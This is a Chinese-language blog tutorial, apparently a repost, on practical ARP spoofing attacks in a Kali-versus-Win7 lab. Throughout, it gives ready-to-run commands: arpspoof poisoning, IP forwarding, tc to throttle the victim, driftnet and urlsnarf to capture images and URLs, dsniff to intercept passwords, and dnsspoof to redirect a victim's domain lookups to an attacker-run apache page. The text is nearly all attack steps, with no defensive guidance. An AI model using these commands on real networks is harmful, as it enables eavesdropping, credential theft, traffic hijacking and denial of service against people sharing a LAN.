ARP欺骗的各种玩法

ARP欺骗

定义

ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线

关于ARP的工作原理和ARP欺骗的原理,此处不再赘述,如果不懂的话网上有大量资料,这里推荐一个我认为讲解通透的视频ARP攻防

攻击手段

警告!!!下面介绍的所有的操作都是建立在ARP欺骗的前提下,使用什么工具来实现ARP欺骗是自己的事情,这意味着,下面介绍的ARP断网,限速,嗅探数据的各种操作也可以建立在ettercap、python上。

arpspoof

这款工具已经被kali移除,如果你的系统没有的话需要手动安装

sudo apt-get install dsniff

┌──(rootkali)-[~]
└─# arpspoof -h                                                                                              1 ⨯
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
根据帮助手册可以知道,-t表示受害者的ip,-r表示伪装的ip

双向毒化为:

arpspoof -t 192.168.40.140 -r 192.168.40.2
arpspoof -t 192.168.40.2 -r 192.168.40.140

ARP断网

使用arpspoof -t 192.168.40.140 -r 192.168.40.2即可欺骗win7的arp缓存表,导致win7不能上网,这也是大家最常用的ARP断网技术,win7之所以不能上网的原因是linux默认不转发数据,即,此时的kali不转发网关和win7之间的数据导致win7无法上网。这样做很容易被发现,可以改良一下做法。
ARP欺骗的各种玩法_第1张图片

限制网速

没想到吧,ARP还能限制对方网速。当我欺骗了网关和受害者的时候,受害者访问网络就需要经过我的网卡,那我限制自己网卡的速度或者转发的速度不就行了。这里可以使用的工具有tc、iptables、WonderShaper等等,由于后两者较为麻烦一些,我以tc为例,tc是通过限制网卡的速度来限制对方的,是一种杀敌一千自损八百的手段。
要实现限制网速,kali要先开启路由转发功能

cat /proc/sys/net/ipv4/ip_forward 			#值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward	#开启流量转发
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
 
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms

未开启限速,两者状态还算良好
ARP欺骗的各种玩法_第2张图片

开启限速之后,就不大好了【经过测试200延迟还是可以看在线视频的,300就不行了】
ARP欺骗的各种玩法_第3张图片

换个视角,看一下ping值
ARP欺骗的各种玩法_第4张图片

嗅探全部数据

要嗅探受害者的数据,就需要能让受害者正常通信,就需要kali开启转发数据功能

cat /proc/sys/net/ipv4/ip_forward 			#值为0表示没开启流量转发,为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward	#开启流量转发

这个时候win7会经过kali上网,kali也就可以抓取win7数据了。这个时候你会发现,wireshark抓到了一大堆数据包,很多还是加密的,跟网上说的wireshark轻松抓到邻居上网密码上网记录不大一样,没想到吧,这个时候我们就需要一个简单易读的工具。
ARP欺骗的各种玩法_第5张图片

这个工具就是driftnet。

嗅探图片

使用driftnet来嗅探图片,它可以展示流经网卡的图片,严格来说是把流经网卡的图片数据还原为图片,即win7上网看到的图片(还是挺鸡肋的,看不到别的)

  sudo apt install driftnet
  
  driftnet -help --获取使用文档
  语法: driftnet   [options]   [filter code]

  主要参数:
  -b 捕获到新的图片时发出嘟嘟声
  -i  interface     选择监听接口
  -f  file   读取一个指定pcap数据包中的图片
  -p  不让所监听的接口使用混杂模式
  -a  后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
  -m number 指定保存图片数的数目
  -d directory  指定保存图片的路径
  -x prefix  指定保存图片的前缀名

实时抓取图片
1:第一步,arp欺骗

arpspoof -t 192.168.40.140 -r 192.168.40.2

2:第二步,开启数据转发

echo 1 > /proc/sys/net/ipv4/ip_forward

3:第三步,driftnet实时抓取图片

driftnet -i eth0   #eth0是要抓的网卡

稀烂,还是一如既往的难用,没抓到图片
ARP欺骗的各种玩法_第6张图片

保存抓取下来的图片
操作同上,只不过改变一下driftnet的命令

driftnet -i eth0 -a -d /tmp/win7

嗅探访问的URL

webspy

使用webspy嗅探受害者访问了哪些网页。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用webspy来抓,但是这个工具还是依旧难用,只能抓取一次,然后自己就崩溃了,如图所示。

webspy -i eth0 192.168.40.140

ARP欺骗的各种玩法_第7张图片

urlsnarf【既能抓URL也能抓图片】

使用urlsnarf嗅探受害者访问了哪些网页,默认抓取80、8080、3128端口的数据。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用urlsnarf来抓,这个工具好用一些

urlsnarf -i eth0

嗅探账密

当网络中出现了填写账号密码的数据时,dsniff这款工具就开始截获数据,它的-m参数会解析网络协议。
前提步骤同“嗅探图片”,使用arpspoof开启欺骗,然后使用dsniff来抓。
注意,dsniff不会实时显示结果,当你在win7中输入quit的时候dsniff才会显示结果
ARP欺骗的各种玩法_第8张图片

dns欺骗

dnsspoof启用DNS欺骗,如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求,所以我们如果要在局域网中实现DNS欺骗,仍然是需要先做到arp欺骗。

参数:
-i 指定一个网卡
-f 指定要欺骗的网址文件,如果不指定,将返回本机的IP地址给被攻击者

这里我们的计划是,当受害者访问百度的时候会被我们劫持
1:编辑dnsspoof的配置文件

updatedb	#更新一下locate的数据库
locate dnsspoof.host	#使用locate命令定位文件位置

在这里插入图片描述
在这里插入图片描述

2:kali上开启apache服务,让受害者可以访问到页面

systemctl start apache2.service

3:发起DNS欺骗

dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts

-i参数指定网卡,-f调用配置文件,然后kali机会监听eth0网卡中发往udp53端口的数据包,注意啊,是监听网络中目标端口是53的数据包,不是本地监听了一个53端口。
ARP欺骗的各种玩法_第9张图片

你可能感兴趣的:(渗透测试,ARP欺骗)